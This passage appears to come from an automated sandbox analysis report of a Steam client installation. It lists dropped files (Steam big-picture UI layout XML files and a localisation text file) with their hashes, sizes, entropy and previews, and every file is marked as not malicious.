Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutVerifyEmail class="CheckoutStep" tabindex="none" selectionpos="none" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_VerifyEmail_Title" />....</Panel>....<Panel class="CheckoutBody">.....<Panel class="CheckoutBodyLeftColumn">......<Label class="VerifyInstructions" text="#Checkout_VerifyEmail_Instructions" />......<Label text="#Checkout_VerifyEmail_Description" />............<Panel>.......<Panel id="CheckEmail">........<Label class="VerifyHighlighted" text="#Checkout_VerifyEmail_CheckEmail" />........<Label text="#Checkout_VerifyEmail_CanCompleteAfter" />.......</Panel>.........<Panel id="Complete">........<Label class="VerifyHighlighted" text="#Checkout_VerifyEmail_Success" />........<Label text="#Checkout_VerifyEmail_Thanks" />.......</Panel>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkout_verifyshippinginfo.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1852
Entropy (8bit):	5.130723386340993
Encrypted:	false
SSDEEP:
MD5:	B51197E52E9AE1728C2614E77A540824
SHA1:	74E9650C7DE7BDDC56FCCB659ECB0B66337D49DF
SHA-256:	90AB84A650D2DA8DD04EFFC88E9F5E05CF9E771BEF35DF047A0BC2475406D73A
SHA-512:	49B6C45D3C4A2AA1F7AFA20D12D1C9E3E0A4EBFD93174A155BD698B2A61308C48599C95A2E362C6994C2CE26E7E47BD8AA04BEBE0EF26C8F1B9EF8E6989EC4C9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutShippingInfo class="CheckoutStep" tabindex="none" selectionpos="none" defaultfocus="UseSuggestionBtn" oncancel="NavigateCheckoutBack()">....<Panel class="CheckoutTitleRow">.....<Label class="CheckoutTitle" text="#Checkout_VerifyShippingInfo_Title" />....</Panel>....<Panel class="CheckoutBody" selectionpos="0,0">.....<Panel class="CheckoutBodyLeftColumn" tabindex="0" selectionpos="0,0">......<Panel class="CheckoutShippingInfoLeftColumn" tabindex="0" selectionpos="0,0">.......<Label text="#Checkout_ShippingInfo_ShippingAddressSuggestion" />.......<Label class="VerifyShippingAddressSubTitle" text="#Checkout_ShippingInfo_OurSuggestion"></Label>.......<Label id="SuggestionAddress1"></Label>.......<Label id="SuggestionAddress2"></Label>.......<Label id="SuggestionCityPostCodeState"></Label>.. <Panel cla

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\checkoutcontroller.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	483
Entropy (8bit):	4.7848892794021
Encrypted:	false
SSDEEP:
MD5:	F47E648DD5A6E11331C9921790476AAA
SHA1:	2711B04F3E3891BE2FC31CD9A871ACAA5A91E10D
SHA-256:	46ECFF4A0F03BD372D7B22383D94AD91020B863001B1B9914AE78FC846978035
SHA-512:	83F4EAEAAE1B7BDE7D3C16CBB7FB05ED14C1CC25B8DFA4A9D79DF77B55DA3464A22731D3DD539B7E0C31FBCFCDA5B96F3F6C4CDE6A8D6ABEC771DBFCAE8F544D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/checkout.css" />...</styles>......<CheckoutController tabindex="none" selectionpos="none" hittest="false">....<Panel id="Steps" hittest="false" />....<Panel id="Status">.....<Panel class="CenteringPanel">......<LoadingThrobber class="CartThrobber" />......<Label html="true" id="StatusText" />.....</Panel>....</Panel>...</CheckoutController>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\price.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	4.665727308125483
Encrypted:	false
SSDEEP:
MD5:	05270CD964B3329520FE0059AB705F39
SHA1:	CCC373745775E5799B4FE07BC242F734DC5A3850
SHA-256:	FB923E87E0FB50C305E067BFDB56168DEBB1326090D57343BF089EAB717D58FE
SHA-512:	49E091D1968D86F5868998F3CB48B72BFAB3E8ADC1397B7C57207745ADB2E0259013EBF67F6D5C36FF957152A52019E58261BFC34F570F3E453FF752D9F09B85
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/store.css" />...</styles>.....<StorePrice>....<Label id="DiscountPercent" />....<Label id="BasePrice" />....<Label id="FinalPrice" />...</StorePrice>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\screenshotbg.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	365
Entropy (8bit):	4.872493920330876
Encrypted:	false
SSDEEP:
MD5:	9EEDCA57C07C2844A084FD47DF8C266E
SHA1:	367E3BA831149390F4B023F48FE8B3912AE22D0D
SHA-256:	E3BE890FB90A5FAC9BB8137F860B528EAAE74A8184E96522079BA210A95B5CDE
SHA-512:	31ABBB9DEC61FC8C116C70000E1E1A2898B714F8518E2DC4B0EE2A697103F8AC5C739CB7713AD245C53D9F73B971598016E3C95147248D4E956FF151F7D7E900
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/storeapp.css" />...</styles>......<StoreScreenshotBG>....<Panel id="BGOverlay" class="BGOverlayInvisible"/>....<Image id="BGScreenshot" class="BGScreenshot" onload="AddStyle( BGScreenshotVisible );" />...</StoreScreenshotBG>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\slideshow.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	241
Entropy (8bit):	4.572293251962262
Encrypted:	false
SSDEEP:
MD5:	D0BD9E86077A98C4EDBEF6451AC424DE
SHA1:	4AF77D6FD01E6D9E244B6AE2B1F96A7C9D937585
SHA-256:	47F83E8260A970F33FB189065A27ABC0EE6202D5B9682B076273876FA615A7DB
SHA-512:	0D647DAD39F4AC3684BD9556688EC8E014BC7A21EF26AE7932F5E85A02CFD430940B0FB9A9350EAA769A280D3225900FBA8AFCFD2166ADCBD917F28E3CAC9A6F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/store.css" />...</styles>......<StoreSlideshow>....<SlideShow id="Contents" />.....</StoreSlideshow>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\slideshow_image.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	459
Entropy (8bit):	4.85576434619176
Encrypted:	false
SSDEEP:
MD5:	6F7531CB7B67A8FD725FD1EF20FA43E8
SHA1:	975D64E090A27E82E9B74DE30E2D4AE824782B61
SHA-256:	856563BDB62A22459EE48E881A2B877813CFCC77516F8E063A51DEFC015876DB
SHA-512:	33754399BE2CC98A42DF5FD547DAE259F54299E6CADB9BB2F40765EBFCA4491D19B0198E910391E0CC253D8CD5701CB00BC0D828FB8E956DBE4F7D097A345908
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/movie.css" />....<include src="file://{resources}/styles/store/store.css" />...</styles>......<StoreSlideshowImage>....<Panel id="PlaybackTitleAndControls">.....<Panel class="PlaybackTitleGlow" />.....<Panel class="PlaybackTitleBackground">......<Label id="PlaybackTitle" />.....</Panel>....</Panel>...</StoreSlideshowImage>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\store.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18853
Entropy (8bit):	4.752254459683203
Encrypted:	false
SSDEEP:
MD5:	8C5F64180FDD47BE3995EC2E8AEEC61E
SHA1:	129504FB8D7EC43A7C718CE82F98621244B60DF4
SHA-256:	CA9B8CFA8CEAEF1E34A917CDB5218AB6052FFC319E91BF3D247076100BC1F496
SHA-512:	B516E18DB99184EF10F738964625C32820AFB7BC6E44101FD747D371644205DA4354D16F6BC16609021E4FA9178767D0A05F9FF65DD53F35F3ACE2A7A02491C2
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu_storebackground.css" />....<include src="file://{resources}/styles/store/store.css" />...</styles>......<StorePanel defaultfocus="FeaturedCapsules" hittest="false">....<Panel id="MouseBackButton" onmouseactivate="NavigateTenfootBack();" />....<Panel id="ActualHomeButton" class="SteamLogo" onmouseactivate="ShowMainMenu();" />......<Panel id="FrontPage" hittest="false">.....<Panel id="FilteredStoreWrapper" tabindex="0" selectionpos="0,0" hittest="false">......<StoreFilterSelector id="StoreFilter" tabindex="0" selectionpos="0,0" />......<Panel id="StoreBackgroundWrapper" tabindex="1" selectionpos="0,1" hittest="false">.......<Panel id="StoreBackground" class="StoreBackgroundBaseVisible" hittest="false">........<Carousel id="FeaturedCapsules" focus="center" wrap="true" onmoveup="FeaturedCapsulesMoveUp()" selectionposboundary="vertical"........x-offset="38px"

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\store_search_result_embedded.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	355
Entropy (8bit):	4.831177199111228
Encrypted:	false
SSDEEP:
MD5:	84FAB28A6EC953356FF27088A4F18490
SHA1:	CCBCBCD150E5B72270ACB91D9189CE9D059A7675
SHA-256:	0D9E0464773F8B68A3D261B86261DA0655EAB9F2D1C1AEC0D49D3FA23B5C32C8
SHA-512:	B4C37EB6CFD782E3B4D49C5D78778B98591FD0466A61CAAFFE04E7F1548D4A99F7AE5A9CDA60CA85C62BDB19BFABC7F30A50A076185CA52768AA47CA1651CE1B
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />.. <include src="file://{resources}/styles/textinput/text_input_dualtouch.css" />...</styles>......<StoreSearchResultEmbedded class="SearchResultEmbedded">.. <Image id="StoreImage" scaling="stretch-to-fit-x-preserve-aspect" />.. </StoreSearchResultEmbedded>..</root>

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\textdialog.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.987898607760981
Encrypted:	false
SSDEEP:
MD5:	E0155FFF1BC9E5E24609BDB811D8FF96
SHA1:	7D3984EE511B31AB99FF3D026BFE4DC0F9C28E76
SHA-256:	0FBEAEBDAC9D69CA163A2A65890DCE584F9A0F420F552C88E096B8330C250B96
SHA-512:	992C51AB37FF996F94F41AFA89E524B8B9D0EACE1AB09AE338B10B006768906E503B9E861415EAAA00B282B374FE0A47E4F18F04312023FFC20E38397AD9DF48
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/store/textdialog.css" />...</styles>......<StoreTextDialog defaultfocus="Body" oncancel="ButtonCancel()" onmouseactivate="CloseModalDialog();" >....<Panel class="DialogRegion">.....<Label id="Header" />.....<Label id="Body" onmoveup="ScrollUp();" onmovedown="ScrollDown();" />....</Panel>...</StoreTextDialog>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\store\trailer_slideshow.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.828361586873063
Encrypted:	false
SSDEEP:
MD5:	26608E6E4857056130ABE3BC62D253A3
SHA1:	EA3228EC71688FD96A4AC40F2E4F4BEE2381771C
SHA-256:	9892D506F0D5B66759DE85789EBFCE741D1CED4019D127A53DFE9EC65189DEDD
SHA-512:	B1EA81ECD9255F6FE3C428FFB8A2EB212D83F7758DBF06C1DC610840E563E13DBDBF3E325D2AC1582E1D213F9E22EB13AE26769E96E21CC9C7D01AEAC1F961C4
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/store/store.css" />...</styles>......<Panel class="Stackable" hittest="false" oncancel="StoreRemoveFromStack();">....<Panel id="Loading">.....<Label id="LoadingStatus" />....</Panel>....<Panel id="Loaded">.....<StoreSlideshow id="Slideshow" />....</Panel>...</Panel>...</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\streaming\howtostream.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1257
Entropy (8bit):	4.962898977023464
Encrypted:	false
SSDEEP:
MD5:	28008FA225B5EF6F79FFC069482E6A86
SHA1:	254845E1DDD379190921E20050B36639A16F551E
SHA-256:	66518D7658F5EBE65AAE1E5A5F1A4575BCDF443D540C09A673B68C78E5BFF4B4
SHA-512:	EDE25E3A123B7ACF97C129F72CD123A9D95F8261DBEE8C81F1C0063F3D2E0D56D6E63958094FB0D05B93A98AE5E9633548DC1EA7CBE5B819F6F72FB2AC4BFE26
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/streaming/howtostream.css" />...</styles>.....<TenfootMsgBox defaultfocus="ButtonDismiss" tabindex="auto" selectionpos="auto">....<Panel id="MsgBoxBodyRegion" class="MsgBoxBodyRegion">.....<Panel id="MsgBoxHeader" class="MsgBoxHeader">......<Label id="MsgBoxTitle" class="MsgBoxTitle" text="#HowToStream_Title" />.....</Panel>.......<Panel id="MsgBoxButtonArea" class="MsgBoxButtonArea">........<Panel class="Details">.......<Label class="ToStreamYourGame" text="#HowToStream_ToStream" />.........<Panel class="Step">.... ........<Label class="BulletPoint" text="1" />........<Label class="StepInstructions" text="#HowToStream_Step1" />.......</Panel>.......<Panel class="Step">.... ........<Label class="BulletPoint" text="2" />........<Label class="StepInstructions" text="HowToStream_Step2" />.......</Panel>.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\streaming\streamingdetails.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	4.966621519611258
Encrypted:	false
SSDEEP:
MD5:	1EC7127DD80C7F334EF484948B6BBFFE
SHA1:	088774B632F38ECABD25B1A2F9BED0A2315934CE
SHA-256:	EB4C41DF73654F97BB948E99752ADA843CC2EF9346E2263D110896077EFEFE53
SHA-512:	72E0B82C7E186CB40E1588A5D4A971D23556E8ADD0C5B7C76E35F6139457D51D882C526B8D6D24DD884DC78570F3A21F6412D1462CB2A6262D507912CC1BE844
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/button.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/parental/parental.css" />....<include src="file://{resources}/styles/streaming/streamingdetails.css" />...</styles>.....<StreamingDetailsDialog class="TenfootMsgBox" >....<Panel id="StreamingDetailsContainer" class="ParentalUnlockPopupBody">.....<Label id="MsgBoxHeader" text="#StreamingDetails_Title" />.. ...<Panel id="MsgBoxDescriptionArea">......<Label text="#StreamingDetails_Status" />.....</Panel>.....<Panel id="MsgBoxButtons">......<Button tabindex="auto" selectionpos="auto" onactivate="StreamingDetailsShowAdvancedOptions()"><Label text="#StreamingDetails_ButtonModifySettings" /></Button>......<Button tabindex="auto" selectionpos="auto" onactivate="ButtonCancel()"><Label text="#UI_Done" /></Button>.....</Panel>....</Panel>...</StreamingDetailsD

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\streaming\streamingoverlay.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	554
Entropy (8bit):	4.920374235288458
Encrypted:	false
SSDEEP:
MD5:	60D0ADEA671620B9AA70F259C5CE3D1F
SHA1:	9226FBE0B05610DC952F67DB0687B5893CD1E443
SHA-256:	8880FEF08E445F2D87118FA5969C2C15D3F3CE7E746077E3B8E2171954B43492
SHA-512:	E2E0ECCCBCE6F28EEFCE359622A3EEECD91A9EE82D29394E45B3F10D94FE3F6D684C7E65584CCD91C3D62DB2B9852E1808E72CE5435388C8233897F50C51F407
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/library/library.css" />....<include src="file://{resources}/styles/overlay/overlay.css" />...</styles>.....<StreamingOverlay>....<ParentalButton class="StreamingFullWrapper" onactivate="ShowStreamingDetails();">.....<Label text="#StreamingOverlay_Title" class="HeaderLabel" /> .....<Panel class="textArea">.. <Label text="#StreamingOverlay_Status" />.....</Panel>....</ParentalButton>...</StreamingOverlay>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\systemim.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	660
Entropy (8bit):	4.961907112510131
Encrypted:	false
SSDEEP:
MD5:	463B70ECB5681143AA4B246B12DCCCDB
SHA1:	89B7B1512A2B7782553B1FC909FCAB11E2BABAC0
SHA-256:	9D4DA53DF7B14A1D8055D5B97FD275E3C283C6CFB9BDB5D81A4C11198853FB76
SHA-512:	40E54697AF753B32BC2F2EE0F8BC859480222B0D238DEFA865CD5EA7F85B5312447B209BA1C6DCF136FEB21ABACD1E3CDE06425897D08CD60E7DD32E8BC74997
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu.css" />....<include src="file://{resources}/styles/mainmenu_systemmessages.css" />...</styles>.....<SystemIM class="SystemIMImage">....<Panel id="IMContents">.....<Image id="SystemIMImage" scaling="stretch-to-fit-x-preserve-aspect" />.....<Panel id="PlatformSupport">......<Panel id="WindowsIcon" />......<Panel id="OSXIcon" />......<Panel id="LinuxIcon" />......<Panel id="GamePadControllerIcon" />.....</Panel>....</Panel>....<Label id="SystemIMButtonLabel" />....<Label id="SystemIMDisclaimer" />...</SystemIM >....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\tenfootcontroller_calibration.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4002
Entropy (8bit):	4.734457811850937
Encrypted:	false
SSDEEP:
MD5:	CB5C1A403792285E45418D9B4FCA11BA
SHA1:	A26F2C1F65DAA6076C2F4E8B0BE80256652E0EEC
SHA-256:	1B70CBF38042655295AD9557BE7DCF1153921949A06B7E77D0473E0B6B619CE6
SHA-512:	E50D64C6B681565DD5FE4E4F8F86D3B84A825A2DF522272E12D35FCB1AAD3AE74A99C7A350A3F56D60F48434FB531901AC5046E2D553E240F81622CABFD7A51E
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/tenfootcontroller_calibration.css" /> ...</styles> .. <Panel class="TenfootMsgBox TenfootControllerPadCalibrationPopup" tabindex="auto" selectionpos="auto">... <Panel class="TenfootControllerPadCalibrationPopupBody" tabindex="auto">.... <Label class="TitleFont" text="#ControllerCalibration_Title" />.....<Label class="TextFont" text="#ControllerCalibration_Instructions" />......<Label id="JoystickMsg" class="TextFont" text="#ControllerCalibration_Joystick_Instructions" />.. <Label id="IMUMsg" class="TextFont" text="#ControllerCalibration_IMU_Instructions" />.. <Panel id="ButtonPanel">.. <Panel id="StickVisualization">.. <Panel id="LeftStickImage" class="StickImage">.. <Panel class="row">.. <Panel id="q1" class="quarter"></Panel>.. <Panel id

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\tenfootcontroller_dongleupdate.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	573
Entropy (8bit):	4.8485142465006295
Encrypted:	false
SSDEEP:
MD5:	F5FB04AB568AFA5F0DBED1056EFD5C39
SHA1:	AFE08F27CBC8F78CDF0C6A532F97F7B579E8AA7C
SHA-256:	16AD32A0A28C1214CFE6F08DD0F6A5FB775E1C626DD31A787CD399953389A863
SHA-512:	4A4BA172DCF3D968C58926BEDFF26C50D8F3822F32782E4929076979A5527FD5D07D42ABB594C7A8B76B932A47213F1E39235147A39F61BD70017E45FDFE4114
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/tenfootcontroller_dongleupdate.css" /> ...</styles> .. <Panel class="TenfootMsgBox TenfootControllerDongleUpdatePopup" tabindex="auto" selectionpos="auto">... <Panel class="TenfootControllerDongleUpdatePopupBody" tabindex="auto">.... <Label class="TitleFont" text="#DongleUpdate_Title" />.. <Label class="TextFont" text="#DongleUpdate_Text" />.. </Panel>.. </Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\tenfootcontroller_experimentalupgrade.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	4.802144293332262
Encrypted:	false
SSDEEP:
MD5:	1A5C054A96D245F4CF70E201B3F65778
SHA1:	B379BD0714950C173A60361488A848DB3C3F84D7
SHA-256:	3D6791923231778236771427B95CFA9EC0E113364A8857B3F5C310A522E7C3B6
SHA-512:	762815A2E8DCEE9D43110F36FBC3A556065810D54862AD552D6E8B3ED2610D1012FAC3DDE10982DC0D974D8445550F15A2EA7660FC0742F2DFA0E31BEADDF692
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/tenfootcontroller_fwupdate.css" />...</styles> .. <Panel class="TenfootMsgBox TenfootUpgradePopup" tabindex="auto" selectionpos="auto">... <Panel class="TenfootUpgradePopupBody" tabindex="auto">.... <Label id="Title" class="TitleFont" text="#ControllerBLEUpdate_Title" />.. <Label id="Explanation" class="TextFont UpdateBody" text="#ControllerBLEUpdate_Body" />.. <Panel class ="ProgressBarBackground">.. <Panel id ="ProgressBarPercent" class="ProgressBarPercent" />.. </Panel>.. <Panel id="ButtonPanel">.. <Button id="UpgradeButton" class="Button CalibrationButton" tabindex="auto" selectionpos="auto" onactivate="ControllerExperimentalUpgradeStart()">.. <Label id="UpgradeStatusText" class="CalibrationButtonText" text="#UI_Start" />.. </Button>.. <Butt

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\tenfootcontroller_losshelper.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	704
Entropy (8bit):	4.877236535237843
Encrypted:	false
SSDEEP:
MD5:	75484566CF27F165B75B7CF6F8E8F2C6
SHA1:	E76A990C6E6FDE141F13D53A96B7CFA8B5A1C417
SHA-256:	A89C93107A4563E4139DC4BE21DC20E963F18D81EA8149E6731C43DC2A1D2C28
SHA-512:	86A1C2F31B7D19637A32CA06CDF1990DC8EA8ABEC47788F3834F0FCA580665F60F86A97898225C27AE598E61C4B28FAFFC9F08A80097153586CF1282599BD69F
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/tenfootcontroller_losshelper.css" /> ...</styles> ..<Panel class="TenfootMsgBox TenfootControllerLossHelperPopup" tabindex="auto" selectionpos="auto">.....<Panel id="TenfootControllerLossHelperPanel" class="TenfootControllerLossHelperPopupBody" tabindex="auto">....<Label class="TitleFont" text="#SignalLossHelper_Title" />....<Panel id="PairingCodesPanel" >......<Label id="Line0" class="ControllerBindingNotificationMessageLine1" text="#SignalLossHelper_Description" />.....</Panel>...</Panel>.....</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\tenfootcontroller_pairing.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	4.91363276390739
Encrypted:	false
SSDEEP:
MD5:	8255C0342B806148B15EC08D55E2BEFB
SHA1:	887D40452C58BF949EA6AA8215C9D2D5A934A48D
SHA-256:	06388455EF2F3C121A2FC78B336D7E3C7D626C6C33714DD46C20B4B6634EF84F
SHA-512:	12523A38ED89F1EE8BA3E3B88B6ED84EBF7647080FE96B1B96B72F13C862E1B7BD078B3F3E643E232EA60727449CA64DF9C71180756A02C3CACCB40F8275A0F9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/tenfootcontroller_pairing.css" /> ...</styles> ..<Panel class="TenfootMsgBox TenfootControllerPairingPopup" tabindex="auto" selectionpos="auto">.....<Panel class="TenfootControllerPairingPopupBody" tabindex="auto">....<Label class="TitleFont" text="#ControllerPairing_Header" />....<Panel id="PairingCodesPanel" >.....<Image class="PaddingCodesImage" id="PairingCode0" src="file://{images}/library/controller/controller_button_a.png" />.....<Image class="PaddingCodesImage" id="PairingCode1" src="file://{images}/library/controller/controller_button_b.png" />.....<Image class="PaddingCodesImage" id="PairingCode2" src="file://{images}/library/controller/controller_button_x.png" />.....<Image class="PaddingCodesImage" id="PairingCode3" src="file://{images}/library/controller/controller_button_y.png" />.....</Pan

C:\Program Files (x86)\Steam\public\steambootstrapper_brazilian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	4663
Entropy (8bit):	4.921321678367175
Encrypted:	false
SSDEEP:
MD5:	8EBD46495DD3B4AB05431C5C771D5657
SHA1:	E426214322A729FADDB5BC80053AF5750C76683B
SHA-256:	70C39D5D5B16640165DE19CEE80DA4A391035108CBC5F5009372A86954F0FE92
SHA-512:	53AFD923F583EDA4DB580935A8CDD62413AF8E830C04F2C12D15C55E905C114EC11A5E4483660601504C27E9350E9E47C6432F8F699464E11C5050FE846D7DC4
Malicious:	false
Reputation:	unknown
Preview:	"Language" "brazilian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Atualizando o %appname%...".."SteamBootstrapper_ElevationPrompt"..."O %appname% precisa ser atualizado antes de ser iniciado.".."SteamBootstrapper_ReadOnlyInstallOSX".."N.o foi poss.vel criar os arquivos no diret.rio de instala..o. Certifique-se de que voc. n.o est. tentando execut.-lo pela imagem de disco.".."SteamBootstrapper_RunFromDiskImageOSX".."Arraste %appname% para a sua pasta Aplicativos antes de abri-lo.".."SteamBootstrapper_ReadOnlyInstall"..."N.o foi poss.vel criar os arquivos no diret.rio de instala..o.".."SteamBootstrapper_InstallDirNotASCII"..."O %appname% n.o pode ser executado a partir de um caminho com caracteres que n.o estejam no alfabeto ingl.s (como letras acentuadas). Reinstale o %appname% na pasta padr.o.".."SteamBootstrapper_InstallDirIncompatible".."O %appname% n.o pode ser executado a partir de um caminho com caracteres n.o ASCII nesta vers.o do Windows. Reinsta

C:\Program Files (x86)\Steam\public\steambootstrapper_bulgarian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (479), with CRLF line terminators
Category:	dropped
Size (bytes):	6568
Entropy (8bit):	5.04709003014895
Encrypted:	false
SSDEEP:
MD5:	239C03A3DC1C27993DA724736D086CEF
SHA1:	FF88246F8EA3502873DCBDC622378F006C58A2E6
SHA-256:	B387E2FB971297D3438ACCA130C53DFDD202AE2CA5B52D6503333734CDA4FBFC
SHA-512:	656922E8F2DEC46EF36EFBA5C85088C47B02E89F62B27559611FCBE6EF85C6CD8462A4532E2D2D7F4FAA977AB24F0DE6F5F72E3075F8889DB9E6E60BAA162A32
Malicious:	false
Reputation:	unknown
